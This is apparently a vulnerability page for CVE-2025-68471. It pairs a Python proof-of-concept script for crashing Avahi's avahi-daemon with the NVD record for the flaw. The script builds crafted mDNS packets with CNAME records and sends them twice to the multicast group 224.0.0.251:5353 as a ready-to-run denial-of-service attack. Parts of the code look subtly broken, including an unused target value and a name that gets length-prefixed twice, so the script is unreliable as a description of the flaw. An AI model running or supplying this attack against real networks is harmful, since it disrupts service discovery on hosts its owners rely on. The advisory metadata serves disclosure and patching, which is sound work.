CVE-2025-68471

#!/usr/bin/env python3 """ CVE-2025-68471 PoC - Avahi avahi-daemon DoS via CNAME records This PoC sends two unsolicited mDNS announcements with CNAME records 2 seconds apart to trigger daemon crash. """ import socket import struct import time import random def create_cname_record(name): """Create a CNAME mDNS resource record""" # CNAME record type = 0x0005 record = struct.pack('>HHIH', 0x0005, 0x0001, 300, len(name) + 2) record += bytes([len(name)]) + name.encode() + bytes([0]) return record def build_mdns_response(): """Build malicious mDNS response with CNAME record""" transaction_id = random.randint(0, 65535) # mDNS header header = struct.pack('>HHHHHH', transaction_id, # Transaction ID 0x8400, # Flags: Response, Authoritative 1, # Questions 1, # Answers 0, # Authority 0 # Additional ) # Query section (placeholder) query = b'\x05local\x00\x00\x0C\x00\x01' # Answer section with CNAME record answer_name = b'\x07example\x05local\x00' cname_target = b'\x06target\x05local\x00' cname_record = create_cname_record('\x06target\x05local') answer = answer_name + cname_record return header + query + answer def send_mdns_announcement(): """Send malicious mDNS announcement""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) mdns_packet = build_mdns_response() # Send to mDNS multicast address mdns_addr = ('224.0.0.251', 5353) sock.sendto(mdns_packet, mdns_addr) sock.close() print('[+] Sent malicious mDNS announcement with CNAME record') def main(): print('[*] CVE-2025-68471 PoC - Avahi DoS') print('[*] Sending first announcement...') send_mdns_announcement() print('[*] Waiting 2 seconds...') time.sleep(2) print('[*] Sending second announcement...') send_mdns_announcement() print('[+] Attack complete. Check avahi-daemon status.') if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-68471", "sourceIdentifier": "[email protected]", "published": "2026-01-12T18:15:48.327", "lastModified": "2026-01-16T16:53:04.697", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Avahi is a system which facilitates service discovery on a local network via the mDNS/DNS-SD protocol suite. In 0.9-rc2 and earlier, avahi-daemon can be crashed by sending 2 unsolicited announcements with CNAME resource records 2 seconds apart."}, {"lang": "es", "value": "Avahi es un sistema que facilita el descubrimiento de servicios en una red local a través del conjunto de protocolos mDNS/DNS-SD. En 0.9-rc2 y versiones anteriores, avahi-daemon puede ser colapsado al enviar 2 anuncios no solicitados con registros de recursos CNAME con 2 segundos de diferencia."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:avahi:avahi:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.9", "matchCriteriaId": "6481267F-934F-4A0C-9B25-59738E798458"}, {"vulnerable": true, "criteria": "cpe:2.3:a:avahi:avahi:0.9:rc1:*:*:*:*:*:*", "matchCriteriaId": "76971590-AEED-4CB1-B7B7-45EA8FD11524"}]}]}], "references": [{"url": "https://github.com/avahi/avahi/commit/9c6eb53bf2e290aed84b1f207e3ce35c54cc0aa1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/avahi/avahi/issues/678", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit", "Patch"]}, {"url": "https://github.com/avahi/avahi/security/advisories/GHSA-56rf-42xr-qmmg", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit", "Patch"]}]}}